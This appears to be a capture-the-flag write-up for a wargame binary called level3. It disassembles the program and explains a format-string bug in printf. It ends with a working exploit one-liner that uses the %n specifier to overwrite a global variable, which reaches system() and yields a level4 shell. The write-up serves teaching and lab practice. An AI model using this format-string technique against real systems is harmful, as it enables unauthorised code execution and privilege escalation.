Skip to content

Latest commit

 

History

History
169 lines (147 loc) · 5.46 KB

solution.md

File metadata and controls

169 lines (147 loc) · 5.46 KB

← level2 Home level4 →

level3

Dissassembly

To dissassemble the executable we can use gdb.

FUNCTION=main EXECUTABLE=./level3
gdb -batch -ex "set disassembly-flavor intel" -ex "disassemble/r $FUNCTION" "$EXECUTABLE"

The main function looks like this:

Dump of assembler code for function main:
   0x0804851a <+0>:	push   ebp
   0x0804851b <+1>:	mov    ebp,esp
   0x0804851d <+3>:	and    esp,0xfffffff0
   0x08048520 <+6>:	call   0x80484a4 <v>
   0x08048525 <+11>:	leave
   0x08048526 <+12>:	ret
End of assembler dump.

It calls another function v:

Dump of assembler code for function v:
   0x080484a4 <+0>:	push   ebp
   0x080484a5 <+1>:	mov    ebp,esp
   0x080484a7 <+3>:	sub    esp,0x218
   0x080484ad <+9>:	mov    eax,ds:0x8049860
   0x080484b2 <+14>:	mov    DWORD PTR [esp+0x8],eax
   0x080484b6 <+18>:	mov    DWORD PTR [esp+0x4],0x200
   0x080484be <+26>:	lea    eax,[ebp-0x208]
   0x080484c4 <+32>:	mov    DWORD PTR [esp],eax
   0x080484c7 <+35>:	call   0x80483a0 <fgets@plt>
   0x080484cc <+40>:	lea    eax,[ebp-0x208]
   0x080484d2 <+46>:	mov    DWORD PTR [esp],eax
   0x080484d5 <+49>:	call   0x8048390 <printf@plt>
   0x080484da <+54>:	mov    eax,ds:0x804988c
   0x080484df <+59>:	cmp    eax,0x40
   0x080484e2 <+62>:	jne    0x8048518 <v+116>
   0x080484e4 <+64>:	mov    eax,ds:0x8049880
   0x080484e9 <+69>:	mov    edx,eax
   0x080484eb <+71>:	mov    eax,0x8048600
   0x080484f0 <+76>:	mov    DWORD PTR [esp+0xc],edx
   0x080484f4 <+80>:	mov    DWORD PTR [esp+0x8],0xc
   0x080484fc <+88>:	mov    DWORD PTR [esp+0x4],0x1
   0x08048504 <+96>:	mov    DWORD PTR [esp],eax
   0x08048507 <+99>:	call   0x80483b0 <fwrite@plt>
   0x0804850c <+104>:	mov    DWORD PTR [esp],0x804860d
   0x08048513 <+111>:	call   0x80483c0 <system@plt>
   0x08048518 <+116>:	leave
   0x08048519 <+117>:	ret
End of assembler dump.

We can see that there is a system call, but to reach it, a specific value needs to be set to0x40.

...
   0x080484da <+54>:	mov    eax,ds:0x804988c
   0x080484df <+59>:	cmp    eax,0x40
   0x080484e2 <+62>:	jne    0x8048518 <v+116>
   ...
   0x08048513 <+111>:	call   0x80483c0 <system@plt>
   0x08048518 <+116>:	leave
   0x08048519 <+117>:	ret
End of assembler dump.

The stack looks like this:

Address Type Size
-0x218 char *fmt 4
-0x210 FILE *stdin 4
-0x20c size_t len 4
-0x208 char data[200] 512
0x000 *EBP 4
0x004 *EIP 4

There is a call to printf with a user-controlled stack-buffer as first argument.

In c, the procedure would look like this:

FILE *stdin = *(FILE**)0x8049860;
fgets(fmt, len, stdin);

printf(fmt);

if (*(int*)0x804988c == 0x40)
{
	fwrite(...);
	system(...);
}

Exploitation

With the use of some format-specifiers, we can easily print values from the stack, as if they where arguments:

./level3 <<< "%p"
0x200

Here we can see that we are able to print the length of the buffer, which was the second argument of the previous function: fgets.

Let's see if we can get up to our own buffer. Remember: Arguments are pushed on the stack in reverse order. That means [esp] is the first argument passed on the stack:

...
   0x080484cc <+40>:	lea    eax,[ebp-0x208]
   0x080484d2 <+46>:	mov    DWORD PTR [esp],eax
   0x080484d5 <+49>:	call   0x8048390 <printf@plt>
...

Indeed, it contains the address of our buffer at ebp - 0x208, or esp + 0x10. Since the buffer starts at esp + 0x10, we need to pop 16 bytes off the stack until we reach it.

This can be done using the %p format specifier, which prints 32 bit pointers. We need to use 4 of them so that we have a 4 * 4 = 16 bytes offset.

./level3 <<< "AAAA %p %p %p %p"
AAAA 0x200 0xb7fd1ac0 0xb7ff37d0 0x41414141

Alright, so we can control the format string, as well the fourth argument of the printf call. But what can we do with this?

man 3 printf

BUGS

Because sprintf() and vsprintf() assume an arbitrarily long string, callers must becareful not to overflow the actual space; this is often impossible to assure. Note that the length of the strings produced is locale-dependent and difficult to predict.Use snprintf() and vsnprintf() instead (or asprintf(3) and vasprintf(3)).

Code such as printf(foo); often indicates a bug, since foo may contain a % character.If foo comes from untrusted user input, it may contain %n, causing the printf() callto write to memory and creating a security hole.

In our case, the executable is affected by the second bug. We can write to a location provided by an argument using the %n specifier.

The %n modifiers writes the length of the preceding formatted input. So if we want to write 0x40 to memory location 0x804988c, we need to put the address at the start of our buffer, pop 3 arguments off the stack using the %p specifier, and pad the input to reach 40-bytes before placing the %n specifier.

ADDRESS="0804988c"
BYTES=$(<<< "$ADDRESS" rev | dd conv=swab | xxd -r -p)
(echo "$BYTES%60x%4\$n"; cat) | ./level3
�                                                         200
Wait what?!
whoami
level4